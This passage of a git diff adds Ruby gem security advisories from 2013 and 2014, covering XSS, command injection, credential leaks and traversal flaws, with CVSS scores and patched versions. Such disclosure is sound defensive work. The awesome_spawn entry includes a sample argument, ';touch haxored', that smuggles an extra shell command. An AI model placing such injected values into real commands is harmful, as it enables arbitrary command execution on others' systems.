back-end database, allowing for + the manipulation or disclosure of arbitrary data. + cvss_v2: 6.5 + patched_versions: + - ">= 0.13.0" + - "~> 0.12.1" +--- diff --git a/advisories/_posts/2013-12-24-CVE-2013-7249.md b/advisories/_posts/2013-12-24-CVE-2013-7249.md new file mode 100644 index 00000000..8f15a8d3 --- /dev/null +++ b/advisories/_posts/2013-12-24-CVE-2013-7249.md @@ -0,0 +1,24 @@ +--- +layout: advisory +title: 'CVE-2013-7249 (fat_free_crm): Fat Free CRM Gem for Ruby allows remote attackers + to obtain sensitive informations' +comments: false +categories: +- fat_free_crm +advisory: + gem: fat_free_crm + cve: 2013-7249 + osvdb: 101700 + ghsa: f25h-3mj6-4jpg + url: https://nvd.nist.gov/vuln/detail/CVE-2013-7249 + title: Fat Free CRM Gem for Ruby allows remote attackers to obtain sensitive informations + date: 2013-12-24 + description: |- + Fat Free CRM contains a flaw that is triggered when the attacker sends a + direct request for XML data. This may allow a remote attacker to gain + access to potentially sensitive information. + cvss_v2: 5.0 + patched_versions: + - ">= 0.13.0" + - "~> 0.12.1" +--- diff --git a/advisories/_posts/2013-12-26-CVE-2014-1233.md b/advisories/_posts/2013-12-26-CVE-2014-1233.md new file mode 100644 index 00000000..a5111c67 --- /dev/null +++ b/advisories/_posts/2013-12-26-CVE-2014-1233.md @@ -0,0 +1,23 @@ +--- +layout: advisory +title: 'CVE-2014-1233 (paratrooper-pingdom): paratrooper-pingdom Gem for Ruby /lib/paratrooper-pingdom.rb + API Login Credentials Local Disclosure' +comments: false +categories: +- paratrooper-pingdom +advisory: + gem: paratrooper-pingdom + cve: 2014-1233 + osvdb: 101847 + ghsa: fqrr-rrwg-69pv + url: https://nvd.nist.gov/vuln/detail/CVE-2014-1233 + title: paratrooper-pingdom Gem for Ruby /lib/paratrooper-pingdom.rb API Login Credentials + Local Disclosure + date: 2013-12-26 + description: |- + paratrooper-pingdom Gem for Ruby contains a flaw in + /lib/paratrooper-pingdom.rb. The issue is triggered when the script exposes + API login credentials, allowing a local attacker to gain access to the API + key, username, and password for the API login by monitoring the process tree. + cvss_v2: 2.1 +--- diff --git a/advisories/_posts/2013-12-31-OSVDB-101577.md b/advisories/_posts/2013-12-31-OSVDB-101577.md new file mode 100644 index 00000000..6bc443b8 --- /dev/null +++ b/advisories/_posts/2013-12-31-OSVDB-101577.md @@ -0,0 +1,24 @@ +--- +layout: advisory +title: 'OSVDB-101577 (flukso4r): flukso4r Gem for Ruby /lib/flukso/R.rb Arbitrary + Command Execution' +comments: false +categories: +- flukso4r +advisory: + gem: flukso4r + osvdb: 101577 + url: https://vulners.com/seebug/SSV:61267 + title: flukso4r Gem for Ruby /lib/flukso/R.rb Arbitrary Command Execution + date: 2013-12-31 + description: |- + flukso4r Gem for Ruby contains a flaw in /lib/flukso/R.rb that is due + to the application failing to properly validate user-supplied input. This may allow + a context-dependent attacker to execute arbitrary commands. + notes: No patched version + related: + url: + - https://security.snyk.io/vuln/SNYK-RUBY-FLUKSO4R-20136 + - https://vulners.com/seebug/SSV:61267 + - http://osvdb.org/show/osvdb/101577 +--- diff --git a/advisories/_posts/2014-01-08-CVE-2014-1234.md b/advisories/_posts/2014-01-08-CVE-2014-1234.md new file mode 100644 index 00000000..854b5be3 --- /dev/null +++ b/advisories/_posts/2014-01-08-CVE-2014-1234.md @@ -0,0 +1,22 @@ +--- +layout: advisory +title: 'CVE-2014-1234 (paratrooper-newrelic): Paratrooper-newrelic Gem for Ruby Process + Listing API Key Local Disclosure' +comments: false +categories: +- paratrooper-newrelic +advisory: + gem: paratrooper-newrelic + cve: 2014-1234 + osvdb: 101839 + ghsa: 959j-5g9v-3fpq + url: https://nvd.nist.gov/vuln/detail/CVE-2014-1234 + title: Paratrooper-newrelic Gem for Ruby Process Listing API Key Local Disclosure + date: 2014-01-08 + description: |- + Paratrooper-newrelic Gem for Ruby contains a flaw in + /lib/paratrooper-newrelic.rb. The issue is triggered when the script exposes + the API key, allowing a local attacker to gain access to it by monitoring the + process tree. + cvss_v2: 2.1 +--- diff --git a/advisories/_posts/2014-01-14-CVE-2014-0013.md b/advisories/_posts/2014-01-14-CVE-2014-0013.md new file mode 100644 index 00000000..a33beb7d --- /dev/null +++ b/advisories/_posts/2014-01-14-CVE-2014-0013.md @@ -0,0 +1,42 @@ +--- +layout: advisory +title: 'CVE-2014-0013 (ember-source): Ember.js Potential XSS Exploit With User-Supplied + Data When Binding Primitive Values' +comments: false +categories: +- ember-source +advisory: + gem: ember-source + cve: 2014-0013 + ghsa: 8xm3-gm7c-5fjx + url: https://groups.google.com/forum/#!topic/ember-security/2kpXXCxISS4 + title: Ember.js Potential XSS Exploit With User-Supplied Data When Binding Primitive + Values + date: 2014-01-14 + description: |- + In general, Ember.js escapes or strips any user-supplied content before + inserting it in strings that will be sent to innerHTML. However, we have + identified a vulnerability that could lead to unescaped content being inserted + into the innerHTML string without being sanitized. + + When a primitive value is used as the Handlebars context, that value is not + properly escaped. An example of this would be using the `{{each}}` helper to + iterate over an array of user-supplied strings and using `{{this}}` inside the + block to display each string. + + In applications that contain templates whose context is a primitive value and + use the `{{this}}` keyword to display that value, a specially-crafted payload + could execute arbitrary JavaScript in the context of the current domain + ("XSS"). + + This vulnerability affects applications that contain templates whose context is + set to a user-supplied primitive value (such as a string or number) and also + contain the `{{this}}` special Handlebars variable to display the value. + cvss_v3: 5.4 + patched_versions: + - "~> 1.0.1" + - "~> 1.1.3" + - "~> 1.2.1" + - "~> 1.3.1" + - ">= 1.4.0.beta.2" +--- diff --git a/advisories/_posts/2014-01-14-CVE-2014-0014.md b/advisories/_posts/2014-01-14-CVE-2014-0014.md new file mode 100644 index 00000000..98a9fb2b --- /dev/null +++ b/advisories/_posts/2014-01-14-CVE-2014-0014.md @@ -0,0 +1,39 @@ +--- +layout: advisory +title: 'CVE-2014-0014 (ember-source): Ember.js Potential XSS Exploit With User-Supplied + Data When Using {{group}} Helper' +comments: false +categories: +- ember-source +advisory: + gem: ember-source + cve: 2014-0014 + ghsa: rcx6-7jp6-pqf2 + url: https://groups.google.com/forum/#!topic/ember-security/PSE4RzTi6l4 + title: Ember.js Potential XSS Exploit With User-Supplied Data When Using {{group}} + Helper + date: 2014-01-14 + description: |- + In general, Ember.js escapes or strips any user-supplied content before + inserting it in strings that will be sent to innerHTML. However, we have + identified a vulnerability that could lead to unescaped content being inserted + into the innerHTML string without being sanitized. + + When using the `{{group}}` helper, user supplied content in the template was not + being sanitized. Though the vulnerability exists in Ember.js proper, it is only + exposed via the use of an experimental plugin. + + In applications that use the `{{group}}` helper, a specially-crafted payload + could execute arbitrary JavaScript in the context of the current domain + ("XSS"). + + This vulnerability only affects applications that use the `{{group}}` helper + to display user-provided content. + cvss_v3: 5.4 + patched_versions: + - "~> 1.0.1" + - "~> 1.1.3" + - "~> 1.2.1" + - "~> 1.3.1" + - ">= 1.4.0.beta.2" +--- diff --git a/advisories/_posts/2014-01-14-CVE-2014-1834.md b/advisories/_posts/2014-01-14-CVE-2014-1834.md new file mode 100644 index 00000000..e5a2104a --- /dev/null +++ b/advisories/_posts/2014-01-14-CVE-2014-1834.md @@ -0,0 +1,23 @@ +--- +layout: advisory +title: 'CVE-2014-1834 (echor): echor Gem for Ruby backplane.rb perform_request Function + Arbitrary Command Execution' +comments: false +categories: +- echor +advisory: + gem: echor + cve: 2014-1834 + osvdb: 102129 + ghsa: 8936-cgj4-phr2 + url: https://nvd.nist.gov/vuln/detail/CVE-2014-1834 + title: echor Gem for Ruby backplane.rb perform_request Function Arbitrary Command + Execution + date: 2014-01-14 + description: |- + Echor Gem for Ruby contains a flaw in backplane.rb in the perform_request + function that is triggered when a semi-colon (;) is injected into a username + or password. This may allow a context-dependent attacker to inject arbitrary + commands if the gem is used in a rails application. + cvss_v3: 7.8 +--- diff --git a/advisories/_posts/2014-01-14-CVE-2014-1835.md b/advisories/_posts/2014-01-14-CVE-2014-1835.md new file mode 100644 index 00000000..b730a61b --- /dev/null +++ b/advisories/_posts/2014-01-14-CVE-2014-1835.md @@ -0,0 +1,21 @@ +--- +layout: advisory +title: 'CVE-2014-1835 (echor): echor Gem for Ruby Process Listing Local Plaintext + Credential Disclosure' +comments: false +categories: +- echor +advisory: + gem: echor + cve: 2014-1835 + osvdb: 102130 + ghsa: j4gx-p3x5-m987 + url: https://nvd.nist.gov/vuln/detail/CVE-2014-1835 + title: echor Gem for Ruby Process Listing Local Plaintext Credential Disclosure + date: 2014-01-14 + description: |- + echor Gem for Ruby contains a flaw that is due to the program exposing + credential information in the system process listing. This may allow a local + attacker to gain access to plaintext credential information. + cvss_v3: 7.8 +--- diff --git a/advisories/_posts/2014-01-28-CVE-2014-1831.md b/advisories/_posts/2014-01-28-CVE-2014-1831.md new file mode 100644 index 00000000..2c3307a4 --- /dev/null +++ b/advisories/_posts/2014-01-28-CVE-2014-1831.md @@ -0,0 +1,24 @@ +--- +layout: advisory +title: 'CVE-2014-1831 (passenger): CVE-2014-1831 CVE-2014-1832 rubygem-passenger: + insecure use of temporary files' +comments: false +categories: +- passenger +advisory: + gem: passenger + cve: 2014-1831 + osvdb: 102613 + ghsa: c7j7-p5jq-26ff + url: https://nvd.nist.gov/vuln/detail/CVE-2014-1831 + title: 'CVE-2014-1831 CVE-2014-1832 rubygem-passenger: insecure use of temporary + files' + date: 2014-01-28 + description: |- + Phusion Passenger before 4.0.37 allows local users to write to certain + files and directories via a symlink attack on (1) control_process.pid or a (2) generation-* + file. + cvss_v2: 2.1 + patched_versions: + - ">= 4.0.37" +--- diff --git a/advisories/_posts/2014-01-29-CVE-2014-1832.md b/advisories/_posts/2014-01-29-CVE-2014-1832.md new file mode 100644 index 00000000..91f5f7c6 --- /dev/null +++ b/advisories/_posts/2014-01-29-CVE-2014-1832.md @@ -0,0 +1,24 @@ +--- +layout: advisory +title: 'CVE-2014-1832 (passenger): CVE-2014-1831 CVE-2014-1832 rubygem-passenger: + insecure use of temporary files' +comments: false +categories: +- passenger +advisory: + gem: passenger + cve: 2014-1832 + osvdb: 102613 + ghsa: qw8w-2xcp-xg59 + url: https://nvd.nist.gov/vuln/detail/CVE-2014-1832 + title: 'CVE-2014-1831 CVE-2014-1832 rubygem-passenger: insecure use of temporary + files' + date: 2014-01-29 + description: |- + 'Phusion Passenger 4.0.37 allows local users to write to certain files + and directories via a symlink attack on (1) control_process.pid or a (2) generation-* + file. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-1831.' + cvss_v2: 2.1 + patched_versions: + - ">= 4.0.38" +--- diff --git a/advisories/_posts/2014-01-31-OSVDB-103151.md b/advisories/_posts/2014-01-31-OSVDB-103151.md new file mode 100644 index 00000000..89aa4e87 --- /dev/null +++ b/advisories/_posts/2014-01-31-OSVDB-103151.md @@ -0,0 +1,26 @@ +--- +layout: advisory +title: 'OSVDB-103151 (paperclip): Paperclip: Access Restriction Bypass' +comments: false +categories: +- paperclip +advisory: + gem: paperclip + osvdb: 103151 + url: https://security.snyk.io/vuln/SNYK-RUBY-PAPERCLIP-20144 + title: 'Paperclip: Access Restriction Bypass' + date: 2014-01-31 + description: |- + Paperclip Gem for Ruby contains a flaw that is due to the application + failing to properly validate the file extension, instead only validating the Content-Type + header during file uploads. This may allow a remote attacker to bypass restrictions + on file types for uploaded files by spoofing the content-type. + patched_versions: + - ">= 4.0.0" + related: + url: + - https://thoughtbot.com/blog/prevent-spoofing-with-paperclip + - https://www.theregister.com/2014/02/09/content_type_spoofing_bug_in_ror_paperclip + - https://security.snyk.io/vuln/SNYK-RUBY-PAPERCLIP-20144 + - http://osvdb.org/show/osvdb/103151 +--- diff --git a/advisories/_posts/2014-02-07-CVE-2014-0046.md b/advisories/_posts/2014-02-07-CVE-2014-0046.md new file mode 100644 index 00000000..9a2815c1 --- /dev/null +++ b/advisories/_posts/2014-02-07-CVE-2014-0046.md @@ -0,0 +1,35 @@ +--- +layout: advisory +title: 'CVE-2014-0046 (ember-source): Ember.js XSS Vulnerability With {{link-to}} + Helper in Non-block Form' +comments: false +categories: +- ember-source +advisory: + gem: ember-source + cve: 2014-0046 + ghsa: 4q53-fqhc-cr46 + url: https://groups.google.com/forum/#!topic/ember-security/1h6FRgr8lXQ + title: Ember.js XSS Vulnerability With {{link-to}} Helper in Non-block Form + date: 2014-02-07 + description: |- + In general, Ember.js escapes or strips any user-supplied content before + inserting it in strings that will be sent to innerHTML. However, a change made + to the implementation of the {{link-to}} helper means that any user-supplied + data bound to the {{link-to}} helper's title attribute will not be escaped + correctly. + + In applications that use the {{link-to}} helper in non-block form and bind + the title attribute to user-supplied content, a specially-crafted payload + could execute arbitrary JavaScript in the context of the current domain + ("XSS"). + + All users running an affected release and binding user-supplied data to the + {{link-to}} helper's title attribute should either upgrade or use one of the + workarounds immediately. + unaffected_versions: + - "< 1.2.0" + patched_versions: + - "~> 1.2.2" + - ">= 1.3.2" +--- diff --git a/advisories/_posts/2014-02-13-CVE-2014-0083.md b/advisories/_posts/2014-02-13-CVE-2014-0083.md new file mode 100644 index 00000000..4c41bbc6 --- /dev/null +++ b/advisories/_posts/2014-02-13-CVE-2014-0083.md @@ -0,0 +1,24 @@ +--- +layout: advisory +title: 'CVE-2014-0083 (net-ldap): CVE-2014-0083 rubygem-net-ldap: SSHA passwords generated + by the net-ldap Ruby gem use a weak salt' +comments: false +categories: +- net-ldap +advisory: + gem: net-ldap + cve: 2014-0083 + osvdb: 106108 + ghsa: qwgm-mxm4-3q2c + url: https://nvd.nist.gov/vuln/detail/CVE-2014-0083 + title: 'CVE-2014-0083 rubygem-net-ldap: SSHA passwords generated by the net-ldap + Ruby gem use a weak salt' + date: 2014-02-13 + description: |- + The Ruby net-ldap gem before 0.11 uses a weak salt when generating SSHA + passwords. + cvss_v2: 1.9 + cvss_v3: 5.5 + patched_versions: + - ">= 0.6.0" +--- diff --git a/advisories/_posts/2014-02-18-CVE-2014-0080.md b/advisories/_posts/2014-02-18-CVE-2014-0080.md new file mode 100644 index 00000000..6335241a --- /dev/null +++ b/advisories/_posts/2014-02-18-CVE-2014-0080.md @@ -0,0 +1,30 @@ +--- +layout: advisory +title: 'CVE-2014-0080 (activerecord): CVE-2014-0080 rubygem-activerecord: PostgreSQL + array data injection vulnerability' +comments: false +categories: +- activerecord +- rails +advisory: + gem: activerecord + framework: rails + cve: 2014-0080 + osvdb: 103438 + ghsa: hqf9-rc9j-5fmj + url: https://nvd.nist.gov/vuln/detail/CVE-2014-0080 + title: 'CVE-2014-0080 rubygem-activerecord: PostgreSQL array data injection vulnerability' + date: 2014-02-18 + description: |- + SQL injection vulnerability in activerecord/lib/active_record/connection_adapters/postgresql/cast.rb + in Active Record in Ruby on Rails 4.0.x before 4.0.3, and 4.1.0.beta1, when PostgreSQL + is used, allows remote attackers to execute "add data" SQL commands via vectors + involving \ (backslash) characters that are not properly handled in operations on + array columns. + unaffected_versions: + - "< 3.2.0" + - "~> 3.2.0" + patched_versions: + - "~> 4.0.3" + - ">= 4.1.0.beta2" +--- diff --git a/advisories/_posts/2014-02-18-CVE-2014-0081.md b/advisories/_posts/2014-02-18-CVE-2014-0081.md new file mode 100644 index 00000000..7cdb77cd --- /dev/null +++ b/advisories/_posts/2014-02-18-CVE-2014-0081.md @@ -0,0 +1,30 @@ +--- +layout: advisory +title: 'CVE-2014-0081 (actionpack): CVE-2014-0081 rubygem-actionpack: number_to_currency, + number_to_percentage and number_to_human XSS vulnerability' +comments: false +categories: +- actionpack +- rails +advisory: + gem: actionpack + framework: rails + cve: 2014-0081 + osvdb: 103439 + ghsa: m46p-ggm5-5j83 + url: https://nvd.nist.gov/vuln/detail/CVE-2014-0081 + title: 'CVE-2014-0081 rubygem-actionpack: number_to_currency, number_to_percentage + and number_to_human XSS vulnerability' + date: 2014-02-18 + description: |- + Multiple cross-site scripting (XSS) vulnerabilities in actionview/lib/action_view/helpers/number_helper.rb + in Ruby on Rails before 3.2.17, 4.0.x before 4.0.3, and 4.1.x before 4.1.0.beta2 + allow remote attackers to inject arbitrary web script or HTML via the (1) format, + (2) negative_format, or (3) units parameter to the (a) number_to_currency, (b) number_to_percentage, + or (c) number_to_human helper. + cvss_v2: 4.3 + patched_versions: + - "~> 3.2.17" + - "~> 4.0.3" + - ">= 4.1.0.beta2" +--- diff --git a/advisories/_posts/2014-02-18-CVE-2014-0082.md b/advisories/_posts/2014-02-18-CVE-2014-0082.md new file mode 100644 index 00000000..bf4076ca --- /dev/null +++ b/advisories/_posts/2014-02-18-CVE-2014-0082.md @@ -0,0 +1,29 @@ +--- +layout: advisory +title: 'CVE-2014-0082 (actionpack): CVE-2014-0082 rubygem-actionpack: Action View + string handling denial of service' +comments: false +categories: +- actionpack +- rails +advisory: + gem: actionpack + framework: rails + cve: 2014-0082 + osvdb: 103440 + ghsa: 7cgp-c3g7-qvrw + url: https://nvd.nist.gov/vuln/detail/CVE-2014-0082 + title: 'CVE-2014-0082 rubygem-actionpack: Action View string handling denial of + service' + date: 2014-02-18 + description: |- + actionpack/lib/action_view/template/text.rb in Action View in Ruby on + Rails 3.x before 3.2.17 converts MIME type strings to symbols during use of the + :text option to the render method, which allows remote attackers to cause a denial + of service (memory consumption) by including these strings in headers. + cvss_v2: 5.0 + unaffected_versions: + - ">= 4.0.0" + patched_versions: + - ">= 3.2.17" +--- diff --git a/advisories/_posts/2014-03-05-CVE-2014-0036.md b/advisories/_posts/2014-03-05-CVE-2014-0036.md new file mode 100644 index 00000000..a521e9a8 --- /dev/null +++ b/advisories/_posts/2014-03-05-CVE-2014-0036.md @@ -0,0 +1,22 @@ +--- +layout: advisory +title: 'CVE-2014-0036 (rbovirt): CVE-2014-0036 rubygem-rbovirt: unsafe use of rest-client' +comments: false +categories: +- rbovirt +advisory: + gem: rbovirt + cve: 2014-0036 + osvdb: 104080 + ghsa: ww79-8xwv-932x + url: https://nvd.nist.gov/vuln/detail/CVE-2014-0036 + title: 'CVE-2014-0036 rubygem-rbovirt: unsafe use of rest-client' + date: 2014-03-05 + description: |- + The rbovirt gem before 0.0.24 for Ruby uses the rest-client gem with + SSL verification disabled, which allows remote attackers to conduct man-in-the-middle + attacks via unspecified vectors. + cvss_v2: 6.8 + patched_versions: + - ">= 0.0.24" +--- diff --git a/advisories/_posts/2014-03-10-CVE-2014-2322.md b/advisories/_posts/2014-03-10-CVE-2014-2322.md new file mode 100644 index 00000000..824727ab --- /dev/null +++ b/advisories/_posts/2014-03-10-CVE-2014-2322.md @@ -0,0 +1,37 @@ +--- +layout: advisory +title: 'CVE-2014-2322 (Arabic-Prawn): Arabic Prawn Gem for Ruby lib/string_utf_support.rb + User Input Handling Remote Command Injection' +comments: false +categories: +- Arabic-Prawn +advisory: + gem: Arabic-Prawn + cve: 2014-2322 + osvdb: 104365 + ghsa: hgmw-x865-hf9x + url: http://www.openwall.com/lists/oss-security/2014/03/10/8 + title: Arabic Prawn Gem for Ruby lib/string_utf_support.rb User Input Handling Remote + Command Injection + date: 2014-03-10 + description: |- + Arabic Prawn Gem for Ruby contains a flaw in the lib/string_utf_support.rb + file. The issue is due to the program failing to sanitize user input. This may + allow a remote attacker to inject arbitrary commands. + + "lib/string_utf_support.rb" in the Arabic Prawn 0.0.1 gem for Ruby + allows remote attackers to execute arbitrary commands via shell + metacharacters in the (1) downloaded_file or (2) url variable. + cvss_v2: 7.5 + notes: Never patched + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2014-2322 + - http://www.openwall.com/lists/oss-security/2014/03/10/8 + - http://www.openwall.com/lists/oss-security/2014/03/12/6 + - https://web.archive.org/web/20160306235714/http://www.vapid.dhs.org/advisories/arabic-ruby-gem.html + - http://www.vapid.dhs.org/advisories/arabic-ruby-gem.html + - http://www.vapidlabs.com/advisory.php?v=16 + - https://github.com/advisories/GHSA-hgmw-x865-hf9x + - https://rubygems.org/gems/Arabic-Prawn +--- diff --git a/advisories/_posts/2014-03-13-CVE-2014-0135.md b/advisories/_posts/2014-03-13-CVE-2014-0135.md new file mode 100644 index 00000000..c42595a8 --- /dev/null +++ b/advisories/_posts/2014-03-13-CVE-2014-0135.md @@ -0,0 +1,29 @@ +--- +layout: advisory +title: 'CVE-2014-0135 (kafo): CVE-2014-0135 rubygem-kafo: temporary file creation + vulnerability when creating /tmp/default_values.yaml' +comments: false +categories: +- kafo +advisory: + gem: kafo + cve: 2014-0135 + osvdb: 106826 + ghsa: hxvp-655x-xxqv + url: https://nvd.nist.gov/vuln/detail/CVE-2014-0135 + title: 'CVE-2014-0135 rubygem-kafo: temporary file creation vulnerability when creating + /tmp/default_values.yaml' + date: 2014-03-13 + description: |- + Kafo before 0.3.17 and 0.4.x before 0.5.2, as used by Foreman, uses world-readable + permissions for default_values.yaml, which allows local users to obtain passwords + and other sensitive information by reading the file. + cvss_v2: 1.9 + patched_versions: + - "~> 0.3.17" + - ">= 0.5.2" + related: + url: + - https://github.com/rubysec/ruby-advisory-db/issues/238 + - https://sca.analysiscenter.veracode.com/vulnerability-database/security/world-readable-permissions-as-default/ruby/sid-740/summary +--- diff --git a/advisories/_posts/2014-03-25-CVE-2014-4920.md b/advisories/_posts/2014-03-25-CVE-2014-4920.md new file mode 100644 index 00000000..2edacf25 --- /dev/null +++ b/advisories/_posts/2014-03-25-CVE-2014-4920.md @@ -0,0 +1,27 @@ +--- +layout: advisory +title: 'CVE-2014-4920 (twitter-bootstrap-rails): Reflective XSS Vulnerability in twitter-bootstrap-rails' +comments: false +categories: +- twitter-bootstrap-rails +- rails +advisory: + gem: twitter-bootstrap-rails + framework: rails + cve: 2014-4920 + osvdb: 109206 + ghsa: vpqv-mqvc-pcx2 + url: https://nvisium.com/blog/2014/03/28/reflected-xss-vulnerability-in-twitter + title: Reflective XSS Vulnerability in twitter-bootstrap-rails + date: 2014-03-25 + description: |- + The twitter-bootstrap-rails Gem for Rails contains a flaw that enables a + reflected cross-site scripting (XSS) attack. This flaw exists because the + bootstrap_flash helper method does not validate input when handling flash + messages before returning it to users. This may allow a context-dependent + attacker to create a specially crafted request that would execute arbitrary + script code in a user's browser session within the trust relationship between + their browser and the server. + patched_versions: + - ">= 3.2.0" +--- diff --git a/advisories/_posts/2014-03-28-CVE-2014-0156.md b/advisories/_posts/2014-03-28-CVE-2014-0156.md new file mode 100644 index 00000000..7bc9cf10 --- /dev/null +++ b/advisories/_posts/2014-03-28-CVE-2014-0156.md @@ -0,0 +1,24 @@ +--- +layout: advisory +title: 'CVE-2014-0156 (awesome_spawn): OS command injection flaw in awesome_spawn' +comments: false +categories: +- awesome_spawn +advisory: + gem: awesome_spawn + cve: 2014-0156 + ghsa: qpqw-mc85-qvm9 + url: https://github.com/ManageIQ/awesome_spawn/commit/e524f85f1c6e292ef7d117d7818521307ac269ff + title: OS command injection flaw in awesome_spawn + date: 2014-03-28 + description: |- + Awesome spawn contains OS command injection vulnerability, which allows + execution of additional commands passed to Awesome spawn as arguments, e.g. AwesomeSpawn.run('ls',:params + => {'-l' => ";touch haxored"}). If untrusted input was included in command arguments, + attacker could use this flaw to execute arbitrary command. + cvss_v2: 6.8 + cvss_v3: 9.8 + patched_versions: + - "~> 1.2.0" + - ">= 1.3.0" +--- diff --git a/advisories/_posts/2014-04-16-CVE-2014-2888.md b/advisories/_posts/2014-04-16-CVE-2014-2888.md new file mode 100644 index 00000000..175b0396 --- /dev/null +++ b/advisories/_posts/2014-04-16-CVE-2014-2888.md @@ -0,0 +1,24 @@ +--- +layout: advisory +title: 'CVE-2014-2888 (sfpagent): sfpagent Gem for Ruby JSON[body] Module Name Remote + Command Execution' +comments: false +categories: +- sfpagent +advisory: + gem: sfpagent + cve: 2014-2888 + osvdb: 105971 + ghsa: vm28-mrm7-fpjq + url: https://nvd.nist.gov/vuln/detail/CVE-2014-2888 + title: sfpagent Gem for Ruby JSON[body] Module Name Remote Command Execution + date: 2014-04-16 + description: |- + sfpagent Gem for Ruby contains a flaw that is triggered as JSON[body] + input is not properly sanitized when handling module names with shell + metacharacters. This may allow a context-dependent attacker to execute + arbitrary commands. + cvss_v2: 7.5 + patched_versions: + - ">= 0.4.15" +--- diff --git a/advisories/_posts/2014-04-24-OSVDB-106279.md b/advisories/_posts/2014-04-24-OSVDB-106279.md new file mode 100644 index 00000000..907e5c06 --- /dev/null +++ b/advisories/_posts/2014-04-24-OSVDB-106279.md @@ -0,0 +1,25 @@ +--- +layout: advisory +title: 'OSVDB-106279 (jruby-sandbox): jruby-sandbox Java Class Importation Sandbox + Bypass' +comments: false +categories: +- jruby-sandbox +- jruby +advisory: + gem: jruby-sandbox + platform: jruby + osvdb: 106279 + url: https://security.snyk.io/vuln/SNYK-RUBY-JRUBYSANDBOX-20156 + title: jruby-sandbox Java Class Importation Sandbox Bypass + date: 2014-04-24 + description: |- + jruby-sandbox contains a flaw that is triggered when importing Java Classes. + This may allow a remote attacker to bypass the sandbox for code execution. + patched_versions: + - ">= 0.2.3" + related: + url: + - https://www.exploit-db.com/exploits/33028 + - https://security.snyk.io/vuln/SNYK-RUBY-JRUBYSANDBOX-20156 +--- diff --git a/advisories/_posts/2014-04-30-OSVDB-118481.md b/advisories/_posts/2014-04-30-OSVDB-118481.md new file mode 100644 index 00000000..2060d11b --- /dev/null +++ b/advisories/_posts/2014-04-30-OSVDB-118481.md @@ -0,0 +1,31 @@ +--- +layout: advisory +title: 'OSVDB-118481 (nokogiri): Nokogiri Gem for JRuby XML Document Root Element + Handling Memory Consumption Remote DoS' +comments: false +categories: +- nokogiri +- jruby +advisory: + gem: nokogiri + platform: jruby + osvdb: 118481 + url: https://github.com/sparklemotion/nokogiri/pull/1087 + title: Nokogiri Gem for JRuby XML Document Root Element Handling Memory Consumption + Remote DoS + date: 2014-04-30 + description: |- + Nokogiri Gem for JRuby contains a flaw that is triggered when + handling a root element in an XML document. This may allow a + remote attacker to cause a consumption of memory resources. + patched_versions: + - "~> 1.6.2.2" + - ">= 1.6.3" + related: + cve: + - 2013-6461 + url: + - https://github.com/sparklemotion/nokogiri/pull/1087 + - https://github.com/sparklemotion/nokogiri/pull/1087/commits/8293bf6fddecb68b688cf025859afde7609f7bff + - https://github.com/sparklemotion/nokogiri/commit/a098ddfc9990ea79dbc191407d3e83611e5ff1e6 +--- diff --git a/advisories/_posts/2014-05-06-CVE-2014-0130.md b/advisories/_posts/2014-05-06-CVE-2014-0130.md new file mode 100644 index 00000000..eaa056eb --- /dev/null +++ b/advisories/_posts/2014-05-06-CVE-2014-0130.md @@ -0,0 +1,31 @@ +--- +layout: advisory +title: 'CVE-2014-0130 (actionpack): Directory Traversal Vulnerability With Certain + Route Configurations' +comments: false +categories: +- actionpack +- rails +advisory: + gem: actionpack + framework: rails + cve: 2014-0130 + ghsa: 6x85-j5j2-27jx + url: https://groups.google.com/forum/#!topic/rubyonrails-security/NkKc7vTW70o + title: Directory Traversal Vulnerability With Certain Route Configurations + date: 2014-05-06 + description: |- + There is a vulnerability in the 'implicit render' + functionality in Ruby on Rails.The implicit render functionality + allows controllers to render a template, even if there is no + explicit action with the corresponding name. This module does not + perform adequate input sanitization which could allow an attacker to + use a specially crafted request to retrieve arbitrary files from the + rails application server. + cvss_v2: 4.3 + cvss_v3: 7.5 + patched_versions: + - "~> 3.2.18" + - "~> 4.0.5" + - ">= 4.1.1" +--- diff --git a/advisories/_posts/2014-06-07-OSVDB-107783.md b/advisories/_posts/2014-06-07-OSVDB-107783.md new file mode 100644 index 00000000..0895b107 --- /dev/null +++ b/advisories/_posts/2014-06-07-OSVDB-107783.md @@ -0,0 +1,24 @@ +--- +layout: advisory +title: 'OSVDB-107783 (screen_capture): Screen Capture Gem for Ruby screen_capture.rb + URL Handling Arbitrary Command Execution' +comments: false +categories: +- screen_capture +advisory: + gem: screen_capture + osvdb: 107783 + url: https://github.com/jamster/screen_capture/blob/master/lib/screen_capture.rb + title: Screen Capture Gem for Ruby screen_capture.rb URL Handling Arbitrary Command + Execution + date: 2014-06-07 + description: |- + Screen Capture Gem for Ruby contains a flaw in screen_capture.rb that + is triggered when handling input passed via the URL. This may allow + a context-dependent attacker to execute arbitrary commands. + notes: Never patched + related: + url: + - https://github.com/jamster/screen_capture/blob/master/lib/screen_capture.rb + - http://osvdb.org/show/osvdb/107783 +--- diff --git a/advisories/_posts/2014-06-30-CVE-2014-10075.md b/advisories/_posts/2014-06-30-CVE-2014-10075.md new file mode 100644 index 00000000..8b7d2288 --- /dev/null +++ b/advisories/_posts/2014-06-30-CVE-2014-10075.md @@ -0,0 +1,40 @@ +--- +layout: advisory +title: 'CVE-2014-10075 (karo): karo Gem for Ruby db.rb Metacharacter Handling Remote + Command Execution' +comments: false +categories: +- karo +advisory: + gem: karo + cve: 2014-10075 + osvdb: 108573 + ghsa: qfwq-chf4-jvwg + url: https://github.com/advisories/GHSA-qfwq-chf4-jvwg + title: karo Gem for Ruby db.rb Metacharacter Handling Remote Command Execution + date: 2014-06-30 + description: |- + The karo gem 2.3.8 for Ruby allows Remote command injection via + the host field. + + karo Gem for Ruby contains a flaw in db.rb that is triggered when handling + metacharacters. This may allow a remote attacker to execute arbitrary + commands. + + * CWE-77 - Improper Neutralization of Special Elements used + in a Command ('Command Injection') + + * Severity: CRITICAL - CVSS_V3 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss_v2: 7.5 + cvss_v3: 9.8 + notes: Never patched + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2014-10075 + - https://github.com/rahult/karo + - https://github.com/rahult/karo/blob/master/CHANGELOG.md + - https://web.archive.org/web/20250421021935/http://www.vapid.dhs.org/advisories/karo-2.3.8.html + - http://www.vapidlabs.com/advisory.php?v=63 + - https://www.openwall.com/lists/oss-security/2014/07/07/22 + - https://github.com/advisories/GHSA-qfwq-chf4-jvwg 